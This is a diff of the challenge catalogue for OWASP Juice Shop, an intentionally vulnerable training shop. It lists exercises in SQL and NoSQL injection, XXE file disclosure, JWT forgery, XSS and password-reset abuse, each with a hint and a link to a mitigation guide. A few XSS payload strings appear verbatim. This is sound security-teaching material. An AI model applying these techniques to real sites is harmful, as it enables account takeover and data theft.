'https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html' key: oauthUserPasswordChallenge - - name: 'Login CISO' - category: 'Broken Authentication' - description: 'Exploit OAuth 2.0 to log in with the Chief Information Security Officer''s user account.' - difficulty: 5 - hint: 'Don''t try to beat Google''s OAuth 2.0 service. Rather investigate implementation flaws on Juice Shop''s end.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/broken-authentication.html#exploit-oauth-20-to-log-in-with-the-cisos-user-account' - key: loginCisoChallenge + name: 'Login Jim' + category: 'Injection' + tags: + - Tutorial + description: 'Log in with Jim''s user account.' + difficulty: 3 + hint: 'Try cracking Jim''s password hash if you harvested it already. Alternatively, if you know Jim''s email address, try SQL Injection.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/injection.html#log-in-with-jims-user-account' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html' + key: loginJimChallenge + tutorial: + order: 9 +- + name: 'Login MC SafeSearch' + category: 'Sensitive Data Exposure' + tags: + - Shenanigans + - OSINT + description: 'Log in with MC SafeSearch''s original user credentials without applying SQL Injection or any other bypass.' + difficulty: 2 + hint: 'You should listen to MC''s hit song "Protect Ya Passwordz".' + hintUrl: 'https://pwning.owasp-juice.shop/part2/sensitive-data-exposure.html#log-in-with-mc-safesearchs-original-user-credentials' + mitigationUrl: ~ + key: loginRapperChallenge - name: 'Login Support Team' category: 'Security Misconfiguration' + tags: + - Brute Force + - Code Analysis description: 'Log in with the support team''s original user credentials without applying SQL Injection or any other bypass.' difficulty: 6 hint: 'The underlying flaw of this challenge is a lot more human error than technical weakness.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/security-misconfiguration.html#log-in-with-the-support-teams-original-user-credentials' + hintUrl: 'https://pwning.owasp-juice.shop/part2/security-misconfiguration.html#log-in-with-the-support-teams-original-user-credentials' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html' key: loginSupportChallenge - - name: 'Login MC SafeSearch' + name: 'Manipulate Basket' + category: 'Broken Access Control' + description: 'Put an additional product into another user''s shopping basket.' + difficulty: 3 + hint: 'Have an eye on the HTTP traffic while placing products in the shopping basket. Changing the quantity of products already in the basket doesn''t count.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/broken-access-control.html#put-an-additional-product-into-another-users-shopping-basket' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Access_Control_Cheat_Sheet.html' + key: basketManipulateChallenge +- + name: 'Misplaced Signature File' category: 'Sensitive Data Exposure' - description: 'Log in with MC SafeSearch''s original user credentials without applying SQL Injection or any other bypass.' + tags: + - Good Practice + - Contraption + description: 'Access a misplaced SIEM signature file.' + difficulty: 4 + hint: 'You need to trick a security mechanism into thinking that the file you want has a valid file type.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/sensitive-data-exposure.html#access-a-misplaced-siem-signature-file' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html' + key: misplacedSignatureFileChallenge +- + name: 'Multiple Likes' + category: 'Broken Anti Automation' + description: 'Like any review at least three times as the same user.' + difficulty: 6 + hint: 'Punctuality is the politeness of kings.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/broken-anti-automation.html#like-any-review-at-least-three-times-as-the-same-user' + mitigationUrl: ~ + key: timingAttackChallenge +- + name: 'Nested Easter Egg' + category: 'Cryptographic Issues' + tags: + - Shenanigans + - Good for Demos + description: 'Apply some advanced cryptanalysis to find the real easter egg.' + difficulty: 4 + hint: 'You might have to peel through several layers of tough-as-nails encryption for this challenge.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/cryptographic-issues.html#apply-some-advanced-cryptanalysis-to-find-the-real-easter-egg' + mitigationUrl: ~ + key: easterEggLevelTwoChallenge +- + name: 'NoSQL DoS' + category: 'Injection' + tags: + - Danger Zone + description: 'Let the server sleep for some time. (It has done more than enough hard work for you)' + difficulty: 4 + hint: 'This challenge is essentially a stripped-down Denial of Service (DoS) attack.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/injection.html#let-the-server-sleep-for-some-time' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html' + key: noSqlCommandChallenge + disabledEnv: + - Docker + - Heroku + - Gitpod +- + name: 'NoSQL Exfiltration' + category: 'Injection' + tags: + - Danger Zone + description: 'All your orders are belong to us! Even the ones which don''t.' + difficulty: 5 + hint: 'Take a close look on how the $where query operator works in MongoDB.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/injection.html#all-your-orders-are-belong-to-us' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html' + key: noSqlOrdersChallenge + disabledEnv: + - Docker + - Heroku + - Gitpod +- + name: 'NoSQL Manipulation' + category: 'Injection' + description: 'Update multiple product reviews at the same time.' + difficulty: 4 + hint: 'Take a close look on how the equivalent of UPDATE-statements in MongoDB work.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/injection.html#update-multiple-product-reviews-at-the-same-time' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html' + key: noSqlReviewsChallenge +- + name: 'Outdated Allowlist' + category: 'Unvalidated Redirects' + tags: + - Code Analysis + description: 'Let us redirect you to one of our crypto currency addresses which are not promoted any longer.' + difficulty: 1 + hint: 'We might have failed to take this out of our code properly.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/unvalidated-redirects.html#let-us-redirect-you-to-one-of-our-crypto-currency-addresses' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html' + key: redirectCryptoCurrencyChallenge +- + name: 'Password Strength' + category: 'Broken Authentication' + tags: + - Brute Force + - Tutorial + description: 'Log in with the administrator''s user credentials without previously changing them or applying SQL Injection.' difficulty: 2 - hint: 'You should listen to MC''s hit song "Protect Ya Passwordz".' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/sensitive-data-exposure.html#log-in-with-mc-safesearchs-original-user-credentials' - key: loginRapperChallenge + hint: 'This one should be equally easy to a) brute force, b) crack the password hash or c) simply guess.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/broken-authentication.html#log-in-with-the-administrators-user-credentials-without-previously-changing-them-or-applying-sql-injection' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html' + key: weakPasswordChallenge + tutorial: + order: 6 +- + name: 'Payback Time' + category: 'Improper Input Validation' + description: 'Place an order that makes you rich.' + difficulty: 3 + hint: 'You literally need to make the shop owe you any amount of money.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/improper-input-validation.html#place-an-order-that-makes-you-rich' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html' + key: negativeOrderChallenge - name: 'Premium Paywall' - category: 'Sensitive Data Exposure' - description: ' Unlock Premium Challenge to access exclusive content.' + category: 'Cryptographic Issues' + tags: + - Shenanigans + description: ' Unlock Premium Challenge to access exclusive content.' difficulty: 6 hint: 'You do not have to pay anything to unlock this challenge! Nonetheless, donations are very much appreciated.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/sensitive-data-exposure.html#unlock-premium-challenge-to-access-exclusive-content' + hintUrl: 'https://pwning.owasp-juice.shop/part2/cryptographic-issues.html#unlock-premium-challenge-to-access-exclusive-content' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html' key: premiumPaywallChallenge - - name: 'Reset Jim''s Password' - category: 'Broken Authentication' - description: 'Reset Jim''s password via the Forgot Password mechanism with the original answer to his security question.' + name: 'Privacy Policy' + category: 'Miscellaneous' + tags: + - Good Practice + - Tutorial + - Good for Demos + description: 'Read our privacy policy.' + difficulty: 1 + hint: 'We won''t even ask you to confirm that you did. Just read it. Please. Pretty please.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/miscellaneous.html#read-our-privacy-policy' + mitigationUrl: ~ + key: privacyPolicyChallenge + tutorial: + order: 4 +- + name: 'Privacy Policy Inspection' + category: 'Security through Obscurity' + tags: + - Shenanigans + - Good for Demos + description: 'Prove that you actually read our privacy policy.' difficulty: 3 - hint: 'It''s hard for celebrities to pick a security question from a hard-coded list where the answer is not publicly exposed.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/broken-authentication.html#reset-jims-password-via-the-forgot-password-mechanism' - key: resetPasswordJimChallenge + hint: 'Only by visiting a special URL you can confirm that you read it carefully.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/security-through-obscurity.html#prove-that-you-actually-read-our-privacy-policy' + mitigationUrl: ~ + key: privacyPolicyProofChallenge +- + name: 'Product Tampering' + category: 'Broken Access Control' + description: 'Change the href of the link within the OWASP SSL Advanced Forensic Tool (O-Saft) product description into https://owasp.slack.com.' + difficulty: 3 + hint: 'Look for one of the following: a) broken admin functionality, b) holes in RESTful API or c) possibility for SQL Injection.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/broken-access-control.html#change-the-href-of-the-link-within-the-o-saft-product-description' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html' + key: changeProductChallenge +- + name: 'Reflected XSS' + category: 'XSS' + tags: + - Danger Zone + - Good for Demos + description: 'Perform a reflected XSS attack with <iframe src="javascript:alert(`xss`)">.' + difficulty: 2 + hint: 'Look for a url parameter where its value appears in the page it is leading to.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/xss.html#perform-a-reflected-xss-attack' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html' + key: reflectedXssChallenge + disabledEnv: + - Docker + - Heroku + - Gitpod +- + name: 'Repetitive Registration' + category: 'Improper Input Validation' + description: 'Follow the DRY principle while registering a user.' + difficulty: 1 + hint: 'You can solve this by cleverly interacting with the UI or bypassing it altogether.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/improper-input-validation.html#follow-the-dry-principle-while-registering-a-user' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html' + key: passwordRepeatChallenge - name: 'Reset Bender''s Password' category: 'Broken Authentication' + tags: + - OSINT description: 'Reset Bender''s password via the Forgot Password mechanism with the original answer to his security question.' difficulty: 4 hint: 'Not as trivial as Jim''s but still not too difficult with some "Futurama" background knowledge.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/broken-authentication.html#reset-benders-password-via-the-forgot-password-mechanism' + hintUrl: 'https://pwning.owasp-juice.shop/part2/broken-authentication.html#reset-benders-password-via-the-forgot-password-mechanism' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Choosing_and_Using_Security_Questions_Cheat_Sheet.html' key: resetPasswordBenderChallenge - - name: 'Reset Morty''s Password' - category: 'Security Misconfiguration' - description: 'Reset Morty''s password via the Forgot Password mechanism with his obfuscated answer to his security question.' - difficulty: 5 - hint: 'Find a way to bypass the rate limiting and brute force the obfuscated answer to Morty''s security question.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/security-misconfiguration.html#reset-mortys-password-via-the-forgot-password-mechanism' - key: resetPasswordMortyChallenge -- - name: 'Reset Bjoern''s Password Tier 2' + name: 'Reset Bjoern''s Password' category: 'Broken Authentication' + tags: + - OSINT description: 'Reset the password of Bjoern''s internal account via the Forgot Password mechanism with the original answer to his security question.' difficulty: 5 hint: 'Nothing a little bit of Facebook stalking couldn''t reveal. Might involve a historical twist.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/broken-authentication.html#reset-the-password-of-bjoerns-internal-account-via-the-forgot-password-mechanism' + hintUrl: 'https://pwning.owasp-juice.shop/part2/broken-authentication.html#reset-the-password-of-bjoerns-internal-account-via-the-forgot-password-mechanism' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Choosing_and_Using_Security_Questions_Cheat_Sheet.html' key: resetPasswordBjoernChallenge - - name: 'NoSQL Injection Tier 1' - category: 'Injection' - description: 'Let the server sleep for some time. (It has done more than enough hard work for you)' - difficulty: 4 - hint: 'This challenge is essentially a stripped-down Denial of Service (DoS) attack.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/injection.html#let-the-server-sleep-for-some-time' - key: noSqlCommandChallenge -- - name: 'NoSQL Injection Tier 2' - category: 'Injection' - description: 'Update multiple product reviews at the same time.' - difficulty: 4 - hint: 'Take a close look on how the equivalent of UPDATE-statements in MongoDB work.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/injection.html#update-multiple-product-reviews-at-the-same-time' - key: noSqlReviewsChallenge + name: 'Reset Jim''s Password' + category: 'Broken Authentication' + tags: + - OSINT + description: 'Reset Jim''s password via the Forgot Password mechanism with the original answer to his security question.' + difficulty: 3 + hint: 'It''s hard for celebrities to pick a security question from a hard-coded list where the answer is not publicly exposed.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/broken-authentication.html#reset-jims-password-via-the-forgot-password-mechanism' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Choosing_and_Using_Security_Questions_Cheat_Sheet.html' + key: resetPasswordJimChallenge - - name: 'NoSQL Injection Tier 3' - category: 'Injection' - description: 'All your orders are belong to us!' + name: 'Reset Morty''s Password' + category: 'Broken Anti Automation' + tags: + - OSINT + - Brute Force + description: 'Reset Morty''s password via the Forgot Password mechanism with his obfuscated answer to his security question.' difficulty: 5 - hint: 'Take a close look on how the $where query operator works in MongoDB.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/injection.html#all-your-orders-are-belong-to-us' - key: noSqlOrdersChallenge + hint: 'Find a way to bypass the rate limiting and brute force the obfuscated answer to Morty''s security question.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/broken-anti-automation.html#reset-mortys-password-via-the-forgot-password-mechanism' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html' + key: resetPasswordMortyChallenge - name: 'Retrieve Blueprint' - category: 'Forgotten Content' + category: 'Sensitive Data Exposure' description: 'Deprive the shop of earnings by downloading the blueprint for one of its products.' difficulty: 5 hint: 'The product you might want to give a closer look is the OWASP Juice Shop Logo (3D-printed).' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/forgotten-content.html#deprive-the-shop-of-earnings-by-downloading-the-blueprint-for-one-of-its-products' + hintUrl: 'https://pwning.owasp-juice.shop/part2/sensitive-data-exposure.html#deprive-the-shop-of-earnings-by-downloading-the-blueprint-for-one-of-its-products' + mitigationUrl: ~ key: retrieveBlueprintChallenge - - name: 'Typosquatting Tier 1' - category: 'Vulnerable Components' - description: 'Inform the shop about a typosquatting trick it has become victim of. (Mention the exact name of the culprit)' + name: 'SSRF' + category: 'Broken Access Control' + tags: + - Code Analysis + description: 'Request a hidden resource on server through server.' + difficulty: 6 + hint: 'Reverse engineering something bad can make good things happen.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/broken-access-control.html#request-a-hidden-resource-on-server-through-server' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html' + key: ssrfChallenge +- + name: 'SSTi' + category: 'Injection' + tags: + - Contraption + - Danger Zone + - Code Analysis + description: 'Infect the server with juicy malware by abusing arbitrary command execution.' + difficulty: 6 + hint: '"SSTi" is a clear indicator that this has nothing to do with anything Angular. Also, make sure to use only our non-malicious malware.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/injection.html#infect-the-server-with-juicy-malware-by-abusing-arbitrary-command-execution' + mitigationUrl: ~ + key: sstiChallenge + disabledEnv: + - Docker + - Heroku + - Gitpod +- + name: 'Score Board' + category: 'Miscellaneous' + tags: + - Tutorial + - Code Analysis + description: 'Find the carefully hidden ''Score Board'' page.' + difficulty: 1 + hint: 'Try to find a reference or clue behind the scenes. Or simply guess what URL the Score Board might have.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/score-board.html#find-the-carefully-hidden-score-board-page' + mitigationUrl: ~ + key: scoreBoardChallenge + tutorial: + order: 1 +- + name: 'Security Policy' + category: 'Miscellaneous' + tags: + - Good Practice + description: 'Behave like any "white-hat" should before getting into the action.' + difficulty: 2 + hint: 'Undoubtably you want to read our security policy before conducting any research on our application.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/miscellaneous.html#behave-like-any-white-hat-should-before-getting-into-the-action' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html' + key: securityPolicyChallenge +- + name: 'Server-side XSS Protection' + category: 'XSS' + tags: + - Danger Zone + description: 'Perform a persisted XSS attack with <iframe src="javascript:alert(`xss`)"> bypassing a server-side security mechanism.' difficulty: 4 - hint: 'This challenge has nothing to do with URLs or domains. Investigate the forgotten developer''s backup file instead.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/vulnerable-components.html#inform-the-shop-about-a-typosquatting-trick-it-has-become-victim-of' - key: typosquattingNpmChallenge + hint: 'The "Comment" field in the "Customer Feedback" screen is where you want to put your focus on.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/xss.html#perform-a-persisted-xss-attack-bypassing-a-server-side-security-mechanism' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html' + key: persistedXssFeedbackChallenge + disabledEnv: + - Docker + - Heroku + - Gitpod +- + name: 'Steganography' + category: 'Security through Obscurity' + tags: + - Shenanigans + description: 'Rat out a notorious character hiding in plain sight in the shop. (Mention the exact name of the character)' + difficulty: 4 + hint: 'No matter how good your eyes are, you will need tool assistance for this challenge.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/security-through-obscurity.html#rat-out-a-notorious-character-hiding-in-plain-sight-in-the-shop' + mitigationUrl: ~ + key: hiddenImageChallenge +- + name: 'Successful RCE DoS' + category: 'Insecure Deserialization' + tags: + - Danger Zone + description: 'Perform a Remote Code Execution that occupies the server for a while without using infinite loops.' + difficulty: 6 + hint: 'Your attack payload must not trigger the protection against too many iterations.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/insecure-deserialization.html#perform-a-remote-code-execution-that-occupies-the-server-for-a-while-without-using-infinite-loops' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html' + key: rceOccupyChallenge + disabledEnv: + - Docker + - Heroku + - Gitpod - - name: 'Typosquatting Tier 2' + name: 'Supply Chain Attack' category: 'Vulnerable Components' - description: 'Inform the shop about a more sneaky instance of typosquatting it fell for. (Mention the exact name of the culprit)' + tags: + - OSINT + description: 'Inform the development team about a danger to some of their credentials. (Send them the URL of the original report or an assigned CVE or another identifier of this vulnerability)' difficulty: 5 - hint: 'This challenge has nothing to do with URLs or domains. There is no conveniently misplaced file helping you with this one. Or is there?' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/vulnerable-components.html#inform-the-shop-about-a-more-sneaky-instance-of-typosquatting-it-fell-for' - key: typosquattingAngularChallenge + hint: 'This vulnerability will not affect any customer of the shop. It is aimed exclusively at its developers.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/vulnerable-components.html#inform-the-development-team-about-a-danger-to-some-of-their-credentials' + mitigationUrl: ~ + key: supplyChainAttackChallenge +- + name: 'Two Factor Authentication' + category: 'Broken Authentication' + description: 'Solve the 2FA challenge for user "wurstbrot". (Disabling, bypassing or overwriting his 2FA settings does not count as a solution)' + difficulty: 5 + hint: 'The 2FA implementation requires to store a secret for every user. You will need to find a way to access this secret in order to solve this challenge.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/broken-authentication.html#solve-the-2fa-challenge-for-user-wurstbrot' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Multifactor_Authentication_Cheat_Sheet.html' + key: twoFactorAuthUnsafeSecretStorageChallenge - - name: 'JWT Issues Tier 1' + name: 'Unsigned JWT' category: 'Vulnerable Components' description: 'Forge an essentially unsigned JWT token that impersonates the (non-existing) user jwtn3d@juice-sh.op.' difficulty: 5 hint: 'This challenge exploits a weird option that is supported when signing tokens with JWT.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/vulnerable-components.html#forge-an-essentially-unsigned-jwt-token' - key: jwtTier1Challenge + hintUrl: 'https://pwning.owasp-juice.shop/part2/vulnerable-components.html#forge-an-essentially-unsigned-jwt-token' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html' + key: jwtUnsignedChallenge - - name: 'JWT Issues Tier 2' - category: 'Vulnerable Components' - description: 'Forge an almost properly RSA-signed JWT token that impersonates the (non-existing) user rsa_lord@juice-sh.op.' + name: 'Upload Size' + category: 'Improper Input Validation' + description: 'Upload a file larger than 100 kB.' + difficulty: 3 + hint: 'You can attach a small file to the "Complaint" form. Investigate how this upload actually works.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/improper-input-validation.html#upload-a-file-larger-than-100-kb' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html' + key: uploadSizeChallenge +- + name: 'Upload Type' + category: 'Improper Input Validation' + description: 'Upload a file that has no .pdf or .zip extension.' + difficulty: 3 + hint: 'You can attach a PDF or ZIP file to the "Complaint" form. Investigate how this upload actually works.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/improper-input-validation.html#upload-a-file-that-has-no-pdf-or-zip-extension' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html' + key: uploadTypeChallenge +- + name: 'User Credentials' + category: 'Injection' + description: 'Retrieve a list of all user credentials via SQL Injection.' + difficulty: 4 + hint: 'Gather information on where user data is stored and how it is addressed. Then craft a corresponding UNION SELECT attack.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/injection.html#retrieve-a-list-of-all-user-credentials-via-sql-injection' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html' + key: unionSqlInjectionChallenge +- + name: 'Video XSS' + category: 'XSS' + tags: + - Danger Zone + description: 'Embed an XSS payload </script><script>alert(`xss`)</script> into our promo video.' difficulty: 6 - hint: 'This challenge is explicitly not about acquiring the RSA private key used for JWT signing.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/vulnerable-components.html#forge-an-almost-properly-rsa-signed-jwt-token' - key: jwtTier2Challenge + hint: 'You have to reuse the vulnerability behind one other 6-star challenge to be able to solve this one.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/xss.html#embed-an-xss-payload-into-our-promo-video' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html' + key: videoXssChallenge + disabledEnv: + - Docker + - Heroku + - Gitpod - - name: 'Misplaced Signature File' - category: 'Roll your own Security' - description: 'Access a misplaced SIEM signature file.' + name: 'View Basket' + category: 'Broken Access Control' + tags: + - Tutorial + - Good for Demos + description: 'View another user''s shopping basket.' + difficulty: 2 + hint: 'Have an eye on the HTTP traffic while shopping. Alternatively try to find a client-side association of users to their basket.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/broken-access-control.html#view-another-users-shopping-basket' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Access_Control_Cheat_Sheet.html' + key: basketAccessChallenge + tutorial: + order: 7 +- + name: 'Vulnerable Library' + category: 'Vulnerable Components' + tags: + - OSINT + description: 'Inform the shop about a vulnerable library it is using. (Mention the exact library name and version in your comment)' difficulty: 4 - hint: 'You need to trick a security mechanism into thinking that the file you want has a valid file type.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/roll-your-own-security.html#access-a-misplaced-siem-signature-file' - key: misplacedSignatureFileChallenge + hint: 'Report one of two possible answers via the "Customer Feedback" form. Do not forget to submit the library''s version as well.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/vulnerable-components.html#inform-the-shop-about-a-vulnerable-library-it-is-using' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html' + key: knownVulnerableComponentChallenge - - name: 'Deprecated Interface' - category: 'Forgotten Content' - description: 'Use a deprecated B2B interface that was not properly shut down.' + name: 'Weird Crypto' + category: 'Cryptographic Issues' + description: 'Inform the shop about an algorithm or library it should definitely not use the way it does.' difficulty: 2 - hint: 'The developers who disabled the interface think they could go invisible by just closing their eyes.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/forgotten-content.html#use-a-deprecated-b2b-interface-that-was-not-properly-shut-down' - key: deprecatedInterfaceChallenge + hint: 'Report one of four possible answers via the "Customer Feedback" form.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/cryptographic-issues.html#inform-the-shop-about-an-algorithm-or-library-it-should-definitely-not-use-the-way-it-does' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html' + key: weirdCryptoChallenge +- + name: 'Allowlist Bypass' + category: 'Unvalidated Redirects' + tags: + - Prerequisite + description: 'Enforce a redirect to a page you are not supposed to redirect to.' + difficulty: 4 + hint: 'You have to find a way to beat the allowlist of allowed redirect URLs.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/unvalidated-redirects.html#enforce-a-redirect-to-a-page-you-are-not-supposed-to-redirect-to' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html' + key: redirectChallenge - - name: 'XXE Tier 1' + name: 'XXE Data Access' category: 'XXE' + tags: + - Danger Zone description: 'Retrieve the content of C:\Windows\system.ini or /etc/passwd from the server.' difficulty: 3 hint: 'The leverage point for this challenge is the deprecated B2B interface.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/xxe.html#retrieve-the-content-of-cwindowssystemini-or-etcpasswd-from-the-server' + hintUrl: 'https://pwning.owasp-juice.shop/part2/xxe.html#retrieve-the-content-of-cwindowssystemini-or-etcpasswd-from-the-server' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html' key: xxeFileDisclosureChallenge disabledEnv: - Docker - Heroku + - Gitpod - - name: 'XXE Tier 2' + name: 'XXE DoS' category: 'XXE' + tags: + - Danger Zone description: 'Give the server something to chew on for quite a while.' difficulty: 5 hint: 'It is not as easy as sending a large amount of data directly to the deprecated B2B interface.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/xxe.html#give-the-server-something-to-chew-on-for-quite-a-while' + hintUrl: 'https://pwning.owasp-juice.shop/part2/xxe.html#give-the-server-something-to-chew-on-for-quite-a-while' + mitigationUrl: 'https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html' key: xxeDosChallenge disabledEnv: - Docker - Heroku + - Gitpod - - name: 'RCE Tier 1' - category: 'Insecure Deserialization' - description: 'Perform a Remote Code Execution that would keep a less hardened application busy forever.' - difficulty: 5 - hint: 'The feature you need to exploit for this challenge is not directly advertised anywhere.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/insecure-deserialization.html#perform-a-remote-code-execution-that-would-keep-a-less-hardened-application-busy-forever' - key: rceChallenge -- - name: 'RCE Tier 2' - category: 'Insecure Deserialization' - description: 'Perform a Remote Code Execution that occupies the server for a while without using infinite loops.' - difficulty: 6 - hint: 'Your attack payload must not trigger the protection against too many iterations.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/insecure-deserialization.html#perform-a-remote-code-execution-that-occupies-the-server-for-a-while-without-using-infinite-loops' - key: rceOccupyChallenge -- - name: 'Blockchain Tier 1' - category: 'Security through Obscurity' - description: 'Learn about the Token Sale before its official announcement.' - difficulty: 3 - hint: 'The developers truly believe in "Security through Obscurity" over actual access restrictions.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/security-through-obscurity.html#learn-about-the-token-sale-before-its-official-announcement' - key: tokenSaleChallenge -- - name: 'Security Policy' - category: 'Roll your own Security' - description: 'Behave like any "white-hat" should.' - difficulty: 2 - hint: 'Undoubtably you want to read our security policy before conducting any research on our application.' - hintUrl: 'https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/part2/roll-your-own-security.html#behave-like-any-white-hat-should' - key: securityPolicyChallenge + name: 'Zero Stars' + category: 'Improper Input Validation' + description: 'Give a devastating zero-star feedback to the store.' + difficulty: 1 + hint: 'Before you invest time bypassing the API, you might want to play around with the UI a bit.' + hintUrl: 'https://pwning.owasp-juice.shop/part2/improper-input-validation.html#give-a-devastating-zero-star-feedback-to-the-store' + mitigationUrl: ~ + key: zeroStarsChallenge - - name: 'Steganography Tier 1' - category: 'Security through Obscurity' - description: 'Rat out a notorious character hiding in plain sight in the shop. (Mention the exact name of the character)' - difficulty: 4 - hint: 'No matter how good your eyes are, you will need tool assistance for this challenge.' - 